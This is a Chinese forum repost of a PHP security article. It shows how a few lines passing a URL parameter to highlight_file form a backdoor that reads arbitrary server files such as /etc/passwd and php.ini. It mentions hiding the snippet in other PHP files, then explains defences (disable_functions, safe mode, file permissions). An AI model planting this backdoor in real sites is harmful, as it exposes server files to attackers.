设为首页 收藏本站
查看: 297|回复: 0

[经验分享] 使用php代码加亮函数构造php小后门

[复制链接]

尚未签到

发表于 2017-3-20 13:34:26 | 显示全部楼层 |阅读模式
  
  使用php代码加亮函数构造php小后门
  * 作者: heiyeluren
* 时间: 2006-03-05
* 博客:
http://blog.csdn.net/heiyeshuwu
  
[ 后门构造 ]
  我们知道php非常强大,并且有很多有趣的功能,比如它就自带了一个php代码加亮的函数,叫做:highlight_string,它的参数就是一个字符串,如果这个字符串中包含了PHP代码,那么它将高亮显示,并且直接输出在浏览器中。
比如如下的代码:
<?php
highlight_string('<?php phpinfo(); ?>');
?>
执行后,在浏览器中输出:
<code><font color="#000000">
<font color="#0000BB">&lt;?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?&gt;</font>
</font>
</code>
  显示代码的颜色,在php.ini文件中可以设置,php.ini中有如下选项:
;highlight.string = #DD0000
;highlight.comment = #FF9900
;highlight.keyword = #007700
;highlight.bg = #FFFFFF
;highlight.default = #0000BB
;highlight.html = #000000
  这个是直接显示字符串颜色的,那么我要显示整个PHP文件呢?也有函数:highlight_file,函数参数就是文件名或者文件路径。这个函数跟上面函数功能类似,不过它提交的是一个文件的路径而已。
  那么我们的小后门关键就在这里了,就是大概我们利用highlight_file函数来帮助我们读取系统中任意文件,现在我们构造一段测试代码。
  <?php
$file = $_GET['f'];
$file = $file ? $file : __FILE__;
highlight_file($file);
?>
  代码大致功能就是通过URL中提交一个变量名为f的变量接受需要高亮显示代码的php文件路径,然后程序在调用highlight_file函数来显示该文件。然后把该文件保存到我的个人主目录的public_html目录下,文件名为test.php。
  现在我们使用firefox打开:http://192.168.0.1/~heiyeluren/test.php,返回的是我们test.php的文件内容,现在我们存取passwd文件看看:http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
马上页面里就显示了很多用户信息:
  root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
......
  我们再查看php的配置文件php.ini的信息:
http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini
马上显示了:
[PHP]
  ;;;;;;;;;;;
; WARNING ;
;;;;;;;;;;;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
; For several security-oriented considerations that should be taken
; before going online with your site, please consult php.ini-recommended
; and http://php.net/manual/en/security.php.
  ......
  看来只要权限允许,很多文件都能够直接读取,对我们系统构成了巨大威胁。换句话说,如果把上面代码插入到当前web系统中其他任意一个能够直接访问的php文件中,通过特殊的变脸进行激活,而且一般程序员是不会那么仔细的检查每个PHP程序文件,那么恶意用户就能够随时随地查看我们的系统文件。
  
[ 系统防范 ]
  那么,如果防止,或者说拒绝类似的问题呢?因为,同样的,php的文件存取函数非常多,比如file、file_get_contents、readfile等函数,我们如何防止这些函数带来的威胁呢?
  
解决方法一:
  如果系统中只是跟数据库进行交互,那么完全可以屏蔽掉这些文件存取函数,象fopen、file、file_get_contents、readfile、opendir等函数,方法就是在php的配置文件php.ini中进行禁止,php.ini中有一个选项叫做disable_functions,我们可以把需要屏蔽的函数放到里面:
  disable_functions = highlight_file,fopen,file,file_get_contents,readfile,opendir
  那么上面那些函数就无法使用了,比如你调用了highlight_file函数,那么php引擎会提示你:
  Warning: highlight_file() has been disabled for security reasons in /home/heiyeluren/public_html/test.php on line 5
  当然,我们不能一概而杀,只是说你可以禁止掉那些基本不怎么使用的函数,比如highlight_file我觉得就使用的比较少。
  
解决方法二:
  第一种方法太强制性了,函数禁止后将无法访问该函数,总是不是那么的适合,对于一些空间提供商来讲,是不合理的,那么还有一个解决方法,还是配置我们的php.ini,打开php的安全模式:
  safe_mode = On
  当然,如果你需要,最好再配置一下open_basedir之类的选项来更好的控制,具体可参考php手册。
当我们打开了php的安全模式后,我们再来访问一下/etc/passwd,提交URL:
  http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
  那么浏览器中马上就显示:
  Warning: highlight_file() [function.highlight-file]: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /home/heiyeluren/public_html/test.php on line 5
  
解决方法三:
  在不损失我们PHP强大功能前提下,那些函数都能够正常使用,那防范方法就是设置我们系统中各个目录的各种不同访问权限,比如我们的/etc/passwd文件。比如默认是这个权限:
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r--r-- 1 root root 41489 5 12:40 /usr/local/php/lib/php.ini
  
我们设置设置一下不是随便能够读的:
[~]# chmod 640 /usr/local/php/lib/php.ini
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r----- 1 root root 1865 Nov 27 01:16 /usr/local/php/lib/php.ini
  现在,我们在访问http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini 看看:
  Warning: highlight_file(/usr/local/php/lib/php.ini) [function.highlight-file]: failed to open stream: Permission denied in /home/heiyeluren/public_html/test.php on line 5
  Warning: highlight_file() [function.highlight-file]: Failed opening '/usr/local/php/lib/php.ini' for highlighting in /home/heiyeluren/public_html/test.php on line 5
  警告说没有权限读取/usr/local/php/lib/php.ini这个文件,顺利达到我们的目的。
  
[ 结束语 ]
  PHP的功能非常强大,希望更多的开发者认识到这一点,早点使用这个强大的语言。语言强大,当然,安全也会成为一个问题,我们不管是开发者还是系统管理员,我们都需要密切沟通,把我们的系统做的既安全,又好用。我们就需要努力学习,在强大功能和安全性之间寻求一个良好的结合点。
  
write by heiyeluren
2006-03-05 下午 13:35

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-352469-1-1.html 上篇帖子: php -> 解决不能开启curl 下篇帖子: PHP基础之Win7下PHP开发环境的搭建
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表